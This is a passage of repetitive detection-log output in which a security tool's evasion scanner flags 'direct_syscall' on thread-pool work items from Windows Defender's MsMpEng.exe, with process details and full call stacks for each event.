1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191981 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1276752 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191987 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.12793 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192011 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.129774 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192019 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.130131 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192045 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1406164 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192051 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1409364 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5192063 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1427687 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 